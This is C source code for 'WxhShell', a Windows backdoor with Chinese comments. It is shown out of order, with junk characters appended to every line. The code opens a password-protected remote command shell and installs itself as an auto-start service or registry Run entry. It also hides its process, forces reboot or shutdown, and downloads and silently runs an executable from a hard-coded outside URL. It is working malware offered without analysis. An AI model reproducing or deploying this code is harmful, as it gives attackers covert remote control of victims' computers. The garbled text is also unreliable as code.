    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #\s*>Z  
    if(Boot(SHUTDOWN)) .[&0FHnJ5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ap=m5h27  
    else { ~_opU(;f  
    closesocket(wsh); -4ry)isYx  
    ExitThread(0); mM&Sq;JJ;  
    } [8|Y2Z\N  
    break; ~!UC:&UKo  
    } ws8@y r<R  
  // 获取shell abiZ"?(  
  case 's': { j8n_:;i*  
    CmdShell(wsh); t80s(e  
    closesocket(wsh); _5TSI'@.4  
    ExitThread(0); Y~\71QE>  
    break; su;u_rc,  
  } R<. <wQ4I  
  // 退出 2%|  
  case 'x': { Aq' yr,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zh`!x{Z?^  
    CloseIt(wsh);  8:=&=9%  
    break; pF kA,  
    } HV O mM17  
  // 离开 n%'M?o]DF  
  case 'q': { TNe,'S,%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z9 X<W`  
    closesocket(wsh); MzjV>.  
    WSACleanup(); 9U[Gh97Sf  
    exit(1); |^fubQs;2  
    break; <xM$^r)  
        } DfYOGs]@  
  } 3ARvSz@5  
  } qLrvKoEX2  
&"H xAK)f  
  // 提示信息 )9/.K'o,dy  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A!Em J  
} j"(o>b v7  
  } "Tw4'AY'P  
EmrUzaGD  
  return; od~^''/b  
} (Z:(f~;  
1Q_  C  
// shell模块句柄 ?88k`T'EI  
int CmdShell(SOCKET sock) +;z^qn  
{ Q{%2Npvq  
STARTUPINFO si; dRw O t  
ZeroMemory(&si,sizeof(si)); @z $,KUH  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; GX2aV6}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !ieMhJ5r  
PROCESS_INFORMATION ProcessInfo; o95)-Wb  
char cmdline[]="cmd"; i%BrnjX  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cr GFU?8  
  return 0;  1B}q?8n  
} 590.mCm  
3On IAk3  
// 自身启动模式 <Jt H/oN  
int StartFromService(void) Bmx+QO  
{ w2*.3I,~)B  
typedef struct 1{6BU!  
{ % 8c <C  
  DWORD ExitStatus;  )ph**g  
  DWORD PebBaseAddress; L1J \ C  
  DWORD AffinityMask; /V'^$enK!}  
  DWORD BasePriority; 'Br:f_}  
  ULONG UniqueProcessId; y98 v  
  ULONG InheritedFromUniqueProcessId; s|er+-'  
}   PROCESS_BASIC_INFORMATION; qHwHP 1  
'ec G:B`S  
PROCNTQSIP NtQueryInformationProcess; (!b_o A8V  
UI:YzR  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; pe^hOzVv  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (EW<Ggi  
5>9KW7^L  
  HANDLE             hProcess; i4<&zj})  
  PROCESS_BASIC_INFORMATION pbi; -,xCUG<g  
eKRslMa  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mL5Nu+#  
  if(NULL == hInst ) return 0; j /d? c5  
(PVK|Q55y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _N`'R.va  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }"} z7Xb0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); So?.V4aD_  
3=[#(p:  
  if (!NtQueryInformationProcess) return 0; W&M=%  
'8%pEl^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +Dvdv<+  
  if(!hProcess) return 0; 2Y~UeJ_\Lq  
TtZZjeg+V  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; oZM6%-@qi  
g)Ep'd-w"  
  CloseHandle(hProcess); TFZvZi$u&  
$H0diwl9R  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0[A4k:  
if(hProcess==NULL) return 0; {;:QY 1Q T  
48}L!m @  
HMODULE hMod; cb36~{  
char procName[255]; ZD$W>'m{F  
unsigned long cbNeeded; K &L9Ue  
! z!lQ~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (I<]@7>  
f/1soGA  
  CloseHandle(hProcess); z-9@K<`H  
*[ ' n8Z  
if(strstr(procName,"services")) return 1; // 以服务启动 i 4sd29v  
D8 S?xK7[  
  return 0; // 注册表启动 8(AI|"A"-  
} | aAu 4   
oAnNdo  
// 主模块 A/bxxB7w  
int StartWxhshell(LPSTR lpCmdLine) VV_Zrje  
{ [G.4S5FX.]  
  SOCKET wsl; 0<g;g%   
BOOL val=TRUE; M<Gr~RKmAn  
  int port=0; V)pn)no'V  
  struct sockaddr_in door; #sHA!@ |  
2 X];zY  
  if(wscfg.ws_autoins) Install(); G,jv Mb`+  
w)Rtt 9  
port=atoi(lpCmdLine); |_<'q h  
iCz0T,  
if(port<=0) port=wscfg.ws_port; q,e{t#t  
n jfh4}g:  
  WSADATA data; y#Cp Vm#!>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; UJ\[ ^/t  
{z^6V\O5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   WA'&0i4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6}V)\"u&   
  door.sin_family = AF_INET; 4=; . <  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); XwZ~pY ~  
  door.sin_port = htons(port); WO}l&Q  
uq/z.m  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m7dpr$J  
closesocket(wsl); `5HFRgL`.  
return 1; 0n FEPMO  
} V XE85  
\vH /bL  
  if(listen(wsl,2) == INVALID_SOCKET) { G<F+/Oi&DX  
closesocket(wsl); E?VPCx  
return 1; 0r4,27w  
} &1=Je$,  
  Wxhshell(wsl); rL kUIG  
  WSACleanup(); 9EPE.+ns  
v jTs[eq>  
return 0; -dj9(~?^  
]q,5'[=~4h  
} Lc&LF*  
nZ4JI+Q)~  
// 以NT服务方式启动 WFGcR9mN?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ">8]Oi;g  
{ /mi9 q  
DWORD   status = 0; \2UtT@3|C  
  DWORD   specificError = 0xfffffff; SxX2+|0g`g  
S.: m$s  
  serviceStatus.dwServiceType     = SERVICE_WIN32; U@ ;W^Mt  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; gY\g+df-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; yN'< iTh  
  serviceStatus.dwWin32ExitCode     = 0; `[OJ)tHE  
  serviceStatus.dwServiceSpecificExitCode = 0; d9j+==S <  
  serviceStatus.dwCheckPoint       = 0; J|O=w(  
  serviceStatus.dwWaitHint       = 0; -\6";_Y  
 |UudP?E  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $0kuR!U.N  
  if (hServiceStatusHandle==0) return; qdM=}lbc  
tQrF A2F  
status = GetLastError(); .C 6wsmQ  
  if (status!=NO_ERROR) @Cnn8Y&'  
{ {OH @z!+d  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !Q/%N#  
    serviceStatus.dwCheckPoint       = 0; s8r|48I#;  
    serviceStatus.dwWaitHint       = 0; G{ |0}  
    serviceStatus.dwWin32ExitCode     = status; "e3T;M+  
    serviceStatus.dwServiceSpecificExitCode = specificError; i 4}4U  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); WxLmzSz{xD  
    return; RJYB=y8l  
  } P"Scs$NOU?  
bNH72gX2Yh  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~PTqR2x  
  serviceStatus.dwCheckPoint       = 0; gv6}GE  
  serviceStatus.dwWaitHint       = 0; Zb \E!>V  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); vU4Gw4  
} 0mb|JoE(  
tny^sG/'  
// 处理NT服务事件,比如:启动、停止  L+=pEk_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /LH# 3  
{ @Sik~Mm_h  
switch(fdwControl) y ~PW_,  
{ 3d1$w  
case SERVICE_CONTROL_STOP: @4O;dFOQ)  
  serviceStatus.dwWin32ExitCode = 0; ZaNZUVBh  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; kVqRl%/3Tb  
  serviceStatus.dwCheckPoint   = 0; f;PPB@ :`$  
  serviceStatus.dwWaitHint     = 0; ~.:9~(2;  
  { T z`O+fx &  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !ek};~(  
  } %(P\"hE'  
  return; 6'F4p1VG*I  
case SERVICE_CONTROL_PAUSE: eU*0;#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  WR;)  
  break; Gz_[|,i  
case SERVICE_CONTROL_CONTINUE: ,k9@%{4 l  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; EMTAl;P  
  break; MV(Sb:RZ  
case SERVICE_CONTROL_INTERROGATE: fwN'5ep  
  break; 6Mh;ld@  
}; @5[9iY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M*+MhM-  
} tc|`cB3f  
?<*mIf:?  
// 标准应用程序主函数 RaT_5PH~g  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) hja;d1yH  
{ kPuI'EPK  
~Z{IdE  
// 获取操作系统版本 ( !THd  
OsIsNt=GetOsVer(); SU` RHAo  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $-=QTX  
TJ5g? #Wul  
  // 从命令行安装 7CGxM  
  if(strpbrk(lpCmdLine,"iI")) Install(); G1!yPQa7d  
34Fc oud);  
  // 下载执行文件 Bd8{25{c  
if(wscfg.ws_downexe) { z{>p<)h  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9B&fEmgEc?  
  WinExec(wscfg.ws_filenam,SW_HIDE); W1$<,4j@M  
} HCCEIgCT  
&|'t>-de,  
if(!OsIsNt) { en5sqKqh+  
// 如果时win9x,隐藏进程并且设置为注册表启动 q!qOy/}D  
HideProc(); Ir,3' G  
StartWxhshell(lpCmdLine); TV['"'D&i  
} cu@i;Hb@  
else 4/Mi-ls_  
  if(StartFromService()) IAl X^6s*  
  // 以服务方式启动 1KI,/H"SY  
  StartServiceCtrlDispatcher(DispatchTable); ~{xm(p  
else Dp8`O4YC  
  // 普通方式启动 O'WB O"  
  StartWxhshell(lpCmdLine); y8!#G-d5  
lQq&tz,  
return 0; Eq\PSa=gz  
} .boBo$f  
6^Q/D7U;s  
rgK:ujzW!  
`"-ln'nw  
=========================================== h(>eHP  
^z^zsNx  
Il8,g+W]  
$ Ith8p~  
HtN!Hgpwg  
C||9u}Q<  
" Hf#VW^  
l_MF9.z&  
#include <stdio.h> Jfe<$-$$7  
#include <string.h> Ed>Dhy6\r  
#include <windows.h> Nr(t5TP^  
#include <winsock2.h> !#[=,'Y  
#include <winsvc.h> `a+"[%  
#include <urlmon.h> tx9;8K3  
X9S` #N  
#pragma comment (lib, "Ws2_32.lib") 7C::%OF~7  
#pragma comment (lib, "urlmon.lib") G%q^8#  
BPwn!ii|  
#define MAX_USER   100 // 最大客户端连接数 <aPbKDF~V  
#define BUF_SOCK   200 // sock buffer nRSiW*;R  
#define KEY_BUFF   255 // 输入 buffer kLfk2A;'i  
g2|qGfl{C  
#define REBOOT     0   // 重启 kgl7l?|O  
#define SHUTDOWN   1   // 关机 xl]1{$1M  
!VzbNJ&'  
#define DEF_PORT   5000 // 监听端口 +{5y,0R  
Pc:5*H  
#define REG_LEN     16   // 注册表键长度 26D,(Y$*  
#define SVC_LEN     80   // NT服务名长度 b<]Ae!I'  
li +MnLt  
// 从dll定义API m8:9Uv  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *pP&$!bH%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "B34+fOur  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <pXF$a:s  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); iLIv<VK/d  
cN&]JS,  
// wxhshell配置信息 ER'zjI>t@  
struct WSCFG { {: H&2iF  
  int ws_port;         // 监听端口 h't! 1u  
  char ws_passstr[REG_LEN]; // 口令 4[P]+Z5b+  
  int ws_autoins;       // 安装标记, 1=yes 0=no <8,,pOb  
  char ws_regname[REG_LEN]; // 注册表键名 qtI42u{  
  char ws_svcname[REG_LEN]; // 服务名 OBm#E}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1OOMqFn}L  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4]P5k6 nV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ToXgl4:kd  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !VoAN5#;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |Vj@;+/j  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 EG&97l b  
tF&g3)D:NV  
}; S5(VdMd"^  
iKVJ c=C  
// default Wxhshell configuration t~0!K;nn  
struct WSCFG wscfg={DEF_PORT, !^FR a{b  
    "xuhuanlingzhe", (=eJceE!  
    1, P =jRof$  
    "Wxhshell", wa f)S=  
    "Wxhshell", t)__J\xF  
            "WxhShell Service", Ui43&B  
    "Wrsky Windows CmdShell Service", N0POyd/rL  
    "Please Input Your Password: ",  D_D76  
  1, !*1Kjg3  
  "http://www.wrsky.com/wxhshell.exe", >DSD1i+N  
  "Wxhshell.exe" d&x #9ka  
    }; ,ej89  
 d  H ;  
// 消息定义模块 y~Ts9AE  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; " R5! VV  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >K@Y8J+ e#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; lB< kf1[  
char *msg_ws_ext="\n\rExit."; N\nxo0sl  
char *msg_ws_end="\n\rQuit."; OciPd/6  
char *msg_ws_boot="\n\rReboot..."; oa;vLX$   
char *msg_ws_poff="\n\rShutdown..."; 8TH fFL  
char *msg_ws_down="\n\rSave to "; XN Gw@$  
j-%@A`j;  
char *msg_ws_err="\n\rErr!"; q,% lG$0v  
char *msg_ws_ok="\n\rOK!"; g-8D1.U  
$uj3W<iw3E  
char ExeFile[MAX_PATH]; >&Ios<67g  
int nUser = 0; OC5\3H  
HANDLE handles[MAX_USER]; nb|KIW  
int OsIsNt; M8y:FDX  
7ZR0cJw;  
SERVICE_STATUS       serviceStatus; P~^VLnw  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; DPg\y".4Y&  
WV?3DzeR  
// 函数声明 0vjlSHS;`.  
int Install(void); .kf FaK  
int Uninstall(void); ~C31=\$  
int DownloadFile(char *sURL, SOCKET wsh); S"Z.M _  
int Boot(int flag); 5oTj^W8M(  
void HideProc(void); ;_dOYG1  
int GetOsVer(void); h( V:-D  
int Wxhshell(SOCKET wsl); 3I.0jA#T&/  
void TalkWithClient(void *cs); !V O^oD7  
int CmdShell(SOCKET sock); 'L5ih|$>  
int StartFromService(void); oQL$X3S  
int StartWxhshell(LPSTR lpCmdLine); s.IYPH|pn  
G4jyi&]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ( C~ u.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); kes GwMr"e  
SsBiCctn  
// 数据结构和表定义 G 5!J9@Yi  
SERVICE_TABLE_ENTRY DispatchTable[] = j#rj_uP  
{ m3']/}xHO  
{wscfg.ws_svcname, NTServiceMain}, EpUBO}q]  
{NULL, NULL} $)v`roDD.  
}; *u ^mf~  
y3Qb2l  
// 自我安装 ggL^*MV  
int Install(void) #O,;3S  
{ 4m"6$  
  char svExeFile[MAX_PATH]; 'wT !X[jF  
  HKEY key; EFdo-.Ax  
  strcpy(svExeFile,ExeFile); kb~;s-$O`s  
>[r,X$]  
// 如果是win9x系统,修改注册表设为自启动 n1    
if(!OsIsNt) { A3s-C+@X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HS@ EV iht  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E(p#Je|@[  
  RegCloseKey(key); - U Elu4n&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ejh0Wfl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AO~f=GW  
  RegCloseKey(key); k%Wj+\93 f  
  return 0; EC`=nGF  
    } -PiakX  
  } Q`)iy/1M  
} FnWN]9  
else { M;j)F  
]rS:# LK  
// 如果是NT以上系统,安装为系统服务 WvN{f*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $, vX yZ  
if (schSCManager!=0) e.Gjp {  
{ (8td0zq  
  SC_HANDLE schService = CreateService 9NC?J@&B  
  ( <X "_S'O  
  schSCManager, 4d63+iM+}  
  wscfg.ws_svcname, aQHB  
  wscfg.ws_svcdisp, G/N1[)  
  SERVICE_ALL_ACCESS, KbGz3O'u  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :>K8oE  
  SERVICE_AUTO_START, t->I# t7  
  SERVICE_ERROR_NORMAL, :ZsAWe{%,J  
  svExeFile, sL4j@Lt  
  NULL, 60--6n  
  NULL, yN{TcX  
  NULL, Csf!I@}Z  
  NULL, _~.S~;o!b  
  NULL ]Ei*I}  
  ); <^(>o  
  if (schService!=0) T8NDS7&?  
  { aL^ 58My&  
  CloseServiceHandle(schService); g@|2z  
  CloseServiceHandle(schSCManager); xU;/LJ6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (Tv~$\=  
  strcat(svExeFile,wscfg.ws_svcname); @bF4'M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ni?5h5-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C17$ qdV/  
  RegCloseKey(key); RMs+pN<5  
  return 0; Ny5$IIF e  
    } Y6RbRcJw  
  } ApTE:Fm1  
  CloseServiceHandle(schSCManager); NnRX0]  
} &a!MT^anA~  
} !X4m6gRaP  
CLgfNrW~  
return 1; uN@El1ouY  
} ?+G / 5,e  
@iBaJ"*,  
// 自我卸载 2*5pjd{Kt  
int Uninstall(void) o@[oI\Vr!  
{ vw6DHN)k  
  HKEY key; \rM5@ Vf  
ows 3%  
if(!OsIsNt) { +} x\|O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O39f  
  RegDeleteValue(key,wscfg.ws_regname); |ngv{g  
  RegCloseKey(key); fL~@v-l#~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0b}.!k9  
  RegDeleteValue(key,wscfg.ws_regname); *h M5pw  
  RegCloseKey(key); _)ZxD--Qg  
  return 0; ;T :]?5W!  
  } 4u= v  
} 2= zw !  
} R1~wzy  
else { ,}/6Za  
Gz:ell$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); W!V-m  
if (schSCManager!=0) ]([^(&2  
{ c0Yc~&RF  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \: Q)X$6  
  if (schService!=0) -"6Z@8=  
  { ttA'RJ  
  if(DeleteService(schService)!=0) { &AnWMFo  
  CloseServiceHandle(schService); p^)w$UL}}  
  CloseServiceHandle(schSCManager); LRqlK\  
  return 0; J1Run0  
  } zs.@=Z"  
  CloseServiceHandle(schService); d}<-G.&_  
  } v}TFM  
  CloseServiceHandle(schSCManager);  {gb` %J  
} %5!K?,z%  
} ]OV}yD2p  
TTGWOC  
return 1; \)i,`bz  
} 5Z`f .}^w  
H'}6Mw%ra  
// 从指定url下载文件 jI%glO'2  
int DownloadFile(char *sURL, SOCKET wsh) *iVE O  
{ (_=R<:  
  HRESULT hr; r7FpR!  
char seps[]= "/"; "R]wPF5u  
char *token; '"T9y=9]s  
char *file; ;_#<a*f  
char myURL[MAX_PATH]; M9~6ry-_  
char myFILE[MAX_PATH]; 1s.>_  
(0["|h32,  
strcpy(myURL,sURL); 7Y5.GW\^  
  token=strtok(myURL,seps); N(%(B  
  while(token!=NULL) ZF@$3   
  { Of>2m<  
    file=token; \. a7F4h  
  token=strtok(NULL,seps); $f=6>Kn|^]  
  } ~l}\K10L*  
> D%  
GetCurrentDirectory(MAX_PATH,myFILE); |nBs(>b  
strcat(myFILE, "\\"); }/QtIY#I  
strcat(myFILE, file); Vwb_$Yi+]  
  send(wsh,myFILE,strlen(myFILE),0); FuC \qF  
send(wsh,"...",3,0); TE6]4E*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -""(>$b 2  
  if(hr==S_OK) Py#TXzEcC  
return 0; 9Dp0Pi?29  
else SqZ .}s  
return 1; & gcZ4 gpH  
4 %V9  
} PMT}fg  
9"zp>VR  
// 系统电源模块 O l;DJV  
int Boot(int flag) (4|R}jv  
{ n`V?n  
  HANDLE hToken; D!z'Y,.  
  TOKEN_PRIVILEGES tkp; 2I283%xr  
mpQu:i|W  
  if(OsIsNt) { =1y~Qlu  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); dDa&:L  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0U8'dYf  
    tkp.PrivilegeCount = 1; 2"c5<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; nl~ Z,Y$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); R '8S)'l  
if(flag==REBOOT) { 7CH.BY  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3taGb>15  
  return 0; ^6J*:(eM  
} *4%%^*g.I  
else { A0OA7m:~4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) F` &W5[  
  return 0; GK;IY=8W  
} }R/we`  
  } p`EgMzVO,  
  else { xQl}~G]!  
if(flag==REBOOT) { &G?"I%Vw  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) n6G&c4g<"  
  return 0; 2@IL  n+#  
} Ze <)B *  
else { 8Ltl32JSB[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Yr>0Qg],  
  return 0; b1;h6AeL  
} -/2B fIq  
} *qu5o5Q  
eL.WP`Lz  
return 1; 4o"?QV:  
} 0f@9y  
U8-OQ:2.  
// win9x进程隐藏模块 HD& Cp  
void HideProc(void) T 2_iH=u  
{ ?#Y:2LqPC  
Xpp v  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Uf MQ?(,  
  if ( hKernel != NULL ) qoZ)"M  
  { ,.h@tN<C  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); yL),G*[p\}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >TiE Y MW  
    FreeLibrary(hKernel); /8!n7a7  
  } /;{L~f=et)  
jT!?lqr(Rb  
return; %hlgLM  
} w=3 j'y{f  
y0-UO+ ;  
// 获取操作系统版本 }Q@~_3,UJ  
int GetOsVer(void) "n)AlAV@  
{ 1;'-$K`}  
  OSVERSIONINFO winfo; }h1eB~6M  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bYZU}Kl;(  
  GetVersionEx(&winfo); _#MKpH  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) / DP0K @%  
  return 1; 8_ o~0lb  
  else gf?N(,  
  return 0; i=1crJ:  
} EJRkFn8XG'  
Ke=+D'=  
// 客户端句柄模块 6kMkFZ}+  
int Wxhshell(SOCKET wsl) \ \Tz'>[\  
{  D[}^G5  
  SOCKET wsh; t&NpC;>v  
  struct sockaddr_in client; RWX!d54&  
  DWORD myID; :H&G}T(#  
ALcPbr  
  while(nUser<MAX_USER) z"mpw mv5  
{ Go^TTL   
  int nSize=sizeof(client); >< >%;HZ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \q3ui}-9  
  if(wsh==INVALID_SOCKET) return 1; *A4eYHn@  
[S8*b^t4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "RM\<)IF  
if(handles[nUser]==0) 0igB pHS  
  closesocket(wsh); |i #06jIq  
else Jgg<u#  
  nUser++; l5~O}`gfh  
  } <=D  a  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~MXhp5PI   
bo(w$& VW  
  return 0; BFg&@7.X  
} U^BM5b  
#HW<@E  
// 关闭 socket vU5}E\Ny  
void CloseIt(SOCKET wsh) ( Cg vI*O  
{ bar=^V)  
closesocket(wsh); 8ZqLG a]  
nUser--; D6|-nl  
ExitThread(0); 0xO*8aKT  
} n\V7^N  
/nuz_y\J  
// 客户端请求句柄 ,hT.Ok={36  
void TalkWithClient(void *cs) <pjxJ<1 l  
{ Sk1t~  
f8aY6o"i  
  SOCKET wsh=(SOCKET)cs; f$n5$hJlQ  
  char pwd[SVC_LEN]; Pqw<nyC.  
  char cmd[KEY_BUFF]; ^6R(K'E}  
char chr[1]; Ir5|H|b<  
int i,j; Jj\lF*B  
awvP;F?q|  
  while (nUser < MAX_USER) { $COjC!M  
\v5;t9uBZ  
if(wscfg.ws_passstr) { c#"t.j<E}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zH6@v +gb  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2%6 >)|  
  //ZeroMemory(pwd,KEY_BUFF); {7c'%e  
      i=0; F?05+  
  while(i<SVC_LEN) { #p55/54ZI  
iU37LODa2T  
  // 设置超时 M8<Vd1-5  
  fd_set FdRead; J=gFiBw  
  struct timeval TimeOut; y+w,j]  
  FD_ZERO(&FdRead); {j;` wN  
  FD_SET(wsh,&FdRead); |2@*?o"ll  
  TimeOut.tv_sec=8; ; :q  
  TimeOut.tv_usec=0; m4m|?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4OQ,|Wm4G  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %=Z/Frd  
j*Pq<[~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MpGG}J[y  
  pwd=chr[0]; j7Ts&;`[*  
  if(chr[0]==0xd || chr[0]==0xa) { rUmP_  
  pwd=0; "y&`,s5}  
  break; 1^E5VG1[  
  } /*k_`3L  
  i++; jl&Nphp  
    } < F;+A{M)  
`]XI Q\ *  
  // 如果是非法用户,关闭 socket 7pciB}$2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); qt*+ D  
} X!/Sk1  
>5:O%zQ@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zBTW&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Xa.8-a"hz  
{, +c  
while(1) { Ez0zk9  
KXK5\#+L  
  ZeroMemory(cmd,KEY_BUFF); dpsc gW{M  
)7NI5x^$  
      // 自动支持客户端 telnet标准   $--+M D29Q  
  j=0; 5B4/2q=  
  while(j<KEY_BUFF) { X~c?C-fV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X!^|Tass  
  cmd[j]=chr[0]; 9J?s:"j  
  if(chr[0]==0xa || chr[0]==0xd) { -~lq <M  
  cmd[j]=0; xk% 62W  
  break; 25-h5$s  
  } megTp  
  j++; t(-,mw  
    } zU+q03l8Ur  
0 }od Q#  
  // 下载文件 QAp]cE1ew  
  if(strstr(cmd,"http://")) { 0]iaNR %  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #Gg^QJ*  
  if(DownloadFile(cmd,wsh)) ,NS*`F[O  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); O^row1D_  
  else lV %1I@[M  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bIyg7X)/  
  } m 0vW<  
  else { 0FI |7  
-|KZOea  
    switch(cmd[0]) { PBCGC^0{  
